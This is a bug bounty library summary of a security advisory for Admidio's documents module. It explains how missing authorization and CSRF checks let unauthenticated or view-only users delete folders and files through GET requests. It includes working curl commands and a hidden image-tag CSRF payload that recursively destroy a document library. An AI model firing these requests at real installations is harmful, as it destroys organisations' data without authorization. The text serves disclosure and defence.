# Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion

Admidio's documents module delete handlers only check VIEW rights and no CSRF token, letting unauthenticated or view-only users permanently destroy folders and files via GET.

- Payout: Research
- Severity: critical
- Program: Admidio
- Found by: offset
- Disclosed: 2026-03-16
- CVE: CVE-2026-32817
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rmpj-3x5m-9m5f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-rmpj-3x5m-9m5f
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:csrf

**Target:** PHP web app documents-files module (folder_delete/file_delete handlers)
**Root cause:** The folder_delete and file_delete action handlers call getFolderForDownload/getFileForDownload (a VIEW-only check) before delete(), never verifying upload/admin rights or a CSRF token, and read target UUIDs from $_GET.
**Steps:**
1. Fetch public document list to enumerate UUIDs: `curl "https://TARGET/adm_program/modules/documents-files.php?mode=list"`
2. Send unauthenticated GET: `curl "https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>"`
3. Response `{"status":"success"}`; folder tree and files permanently removed
4. For members-only mode, use a view-only session cookie: `curl "...?mode=file_delete&file_uuid=<FILE_UUID>" -H "Cookie: ADMIDIO_SESSION_ID=<view_only_session>"`
5. CSRF variant: embed `<img src="...?mode=folder_delete&folder_uuid=<UUID>">` in a page/email viewed by a logged-in member
**How found:** Code review of documents-files.php action handlers: noticed delete cases bypass DocumentsService (which validates CSRF via getFormObject) and only call the download/view authorization method before delete().
**Exploitation:** Unauthenticated attacker in public mode enumerates folder UUIDs from the public listing then issues a single GET to folder_delete, recursively wiping the document library from DB and filesystem. Alternatively a view-only member deletes files, or a phishing page triggers GET-based CSRF against a logged-in victim's session.
**Escalation:** Folder::delete() is recursive with no trash, so one call on the root folder destroys the entire organization's document library.
**Insight:** In PHP apps with a centralized service layer enforcing CSRF/auth, grep for legacy switch-case action handlers that call entity delete() directly — the presence of a protected service path elsewhere is a strong signal the bypass path lacks checks.

## Proof of concept (copied exactly from the original report)

**Unauthenticated GET request deleting a public folder**

```
curl "https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>"
```

**View-only member deletes file via GET**

```
curl "https://TARGET/adm_program/modules/documents-files.php?mode=file_delete&file_uuid=<FILE_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<view_only_session>"
```

**CSRF via image tag triggering folder deletion**

```
<img src="https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<UUID>" width="1" height="1">
```